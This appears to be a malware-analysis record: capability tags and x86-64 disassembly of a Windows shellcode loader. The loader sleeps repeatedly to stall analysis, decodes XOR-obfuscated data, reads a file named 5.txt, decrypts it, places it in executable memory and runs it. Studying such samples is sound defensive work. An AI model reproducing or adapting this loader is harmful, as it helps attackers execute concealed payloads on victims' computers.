Function at 0x140001230
Capabilities:
Allocate or change rwx memory
Check if file exists
Encode data using xor
Execute shellcode via indirect call
Get file attributes
Get file size
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x20]
sub rsp, 0x120
mov rax, qword [0x1403f80e8]
xor rax, rsp
mov qword [rbp + 0x10], rax
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
movabs rax, 0x6d517d70c41fa3b6
movabs rdi, 0x717279e32d39bea3
mov qword [rsp + 0x70], rax
movabs rsi, 0x6e4317fc5ee13e6f
movabs rax, 0x6719b0cb5781e7f
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x78], rax
movabs r12, 0x2f92f3327926cbe
movabs rax, 0xe87ea45555f85a9f
mov qword [rsp + 0x58], rsi
mov qword [rbp - 0x80], rax
movabs r13, 0xccef7b4043d61e61
movabs rax, 0x2250a9e868c29fef
mov qword [rsp + 0x60], r12
mov qword [rbp - 0x78], rax
mov ecx, 0xa
movabs rax, 0x1dc4f69b09d705f0
mov qword [rsp + 0x68], r13
mov qword [rbp - 0x70], rax
movabs rax, 0xcfd00095d4faa978
mov qword [rbp - 0x68], rax
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.5.txt
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
xor ebx, ebx
movabs r15, 0x5e5d43905d4dcacb
movabs r14, 0xf25649d29964918
cmp eax, 0xffffffff
jne 0x140001520
lea ecx, [rbx + 0xa]
call qword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [rbx + 0xa]
call qword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [rbx + 0xa]
call qword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [rbx + 0xa]
call qword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [rbx + 0xa]
call qword [sym.imp.KERNEL32.dll_Sleep]
movabs rax, 0x678e5e5650e30acd
mov qword [rsp + 0x50], rdi
mov qword [rbp - 0x30], rax
lea r8, str.5.txt
mov qword [rsp + 0x58], rsi
lea rdx, [rsp + 0x50]
movabs rax, 0xfed7497372fb2b52
mov qword [rsp + 0x60], r12
mov qword [rbp - 0x28], rax
xor r9d, r9d
mov qword [rsp + 0x68], r13
movabs rax, 0x2325344f72d938f
movdqa xmm1, xmmword [rsp + 0x60]
xor ecx, ecx
pxor xmm1, xmmword [rbp - 0x30]
mov qword [rbp - 0x20], rax
movabs rax, 0x6704fc21c519300c
mov qword [rbp - 0x18], rax
movabs rax, 0x8550d13a3d823df1
mov qword [rbp - 0x10], rax
movabs rax, 0xc34dc8704a1ee96
mov qword [rbp - 8], rax
movabs rax, 0x69eac3a826ba6a93
mov qword [rbp], rax
movabs rax, 0xcfd00095d4fadd00
mov qword [rbp + 8], rax
movabs rax, 0x6d517d70c41fa3b6
mov qword [rsp + 0x70], rax
movabs rax, 0x6719b0cb5781e7f
mov qword [rsp + 0x78], rax
movabs rax, 0xe87ea45555f85a9f
mov qword [rbp - 0x80], rax
movabs rax, 0x2250a9e868c29fef
mov qword [rbp - 0x78], rax
movabs rax, 0x1dc4f69b09d705f0
mov qword [rbp - 0x70], rax
movabs rax, 0xcfd00095d4faa978
mov qword [rbp - 0x68], rax
movdqa xmmword [rsp + 0x60], xmm1
movdqa xmm1, xmmword [rbp - 0x80]
pxor xmm1, xmmword [rbp - 0x10]
mov qword [rbp - 0x40], r15
mov qword [rbp - 0x38], r14
movdqa xmm0, xmmword [rbp - 0x40]
pxor xmm0, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x50], xmm0
movdqa xmm0, xmmword [rsp + 0x70]
pxor xmm0, xmmword [rbp - 0x20]
movdqa xmmword [rsp + 0x70], xmm0
movdqa xmm0, xmmword [rbp - 0x70]
pxor xmm0, xmmword [rbp]
movdqa xmmword [rbp - 0x70], xmm0
movdqa xmmword [rbp - 0x80], xmm1
mov qword [rsp + 0x20], rbx
call qword [0x1403f8910]
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
xor r9d, r9d
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], 0x80
lea rcx, str.5.txt
mov edx, 0x80000000
mov dword [rsp + 0x20], 3
lea r8d, [r9 + 1]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x1400017c0
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, [rsp + 0x40]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
jne 0x1400015e9
mov rcx, rsi
call qword [0x14000ba80]
jmp 0x1400017c0
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.msvcrt.dll_malloc]
mov ecx, 0xa
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
mov r8d, dword [rsp + 0x40]
lea r9, [rsp + 0x48]
mov rdx, rdi
mov qword [rsp + 0x20], rbx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1400017c0
mov eax, dword [rsp + 0x48]
cmp rax, qword [rsp + 0x40]
jne 0x1400017c0
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, rsi
call qword [0x14000ba80]
mov rsi, qword [rsp + 0x40]
movabs rax, 0x5e191ba1040e8e93
mov qword [rbp - 0x60], rax
mov ecx, 0x64
mov qword [rbp - 0x58], r14
mov qword [rbp - 0x50], r15
mov qword [rbp - 0x48], r14
movdqa xmm0, xmmword [rbp - 0x50]
pxor xmm0, xmmword [rbp - 0x60]
movdqa xmmword [rbp - 0x60], xmm0
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rax, [rbp - 0x60]
mov rcx, 0xffffffffffffffff
nop
inc rcx
cmp byte [rax + rcx], bl
jne 0x1400016d0
test rsi, rsi
je 0x1400016f8
nop dword [rax]
xor edx, edx
mov rax, rbx
div rcx
movzx eax, byte [rbp + rdx - 0x60]
xor byte [rbx + rdi], al
inc rbx
cmp rbx, rsi
jb 0x1400016e0
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rdx, qword [rsp + 0x40]
mov r9d, 0x40
mov r8d, 0x1000
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, 0xa
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
mov r8, qword [rsp + 0x40]
mov rdx, rdi
mov rcx, rbx
call sub.msvcrt.dll_memcpy
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
call rbx
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
mov eax, 1
mov rcx, qword [rbp + 0x10]
xor rcx, rsp
call fcn.140003130
lea r11, [rsp + 0x120]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret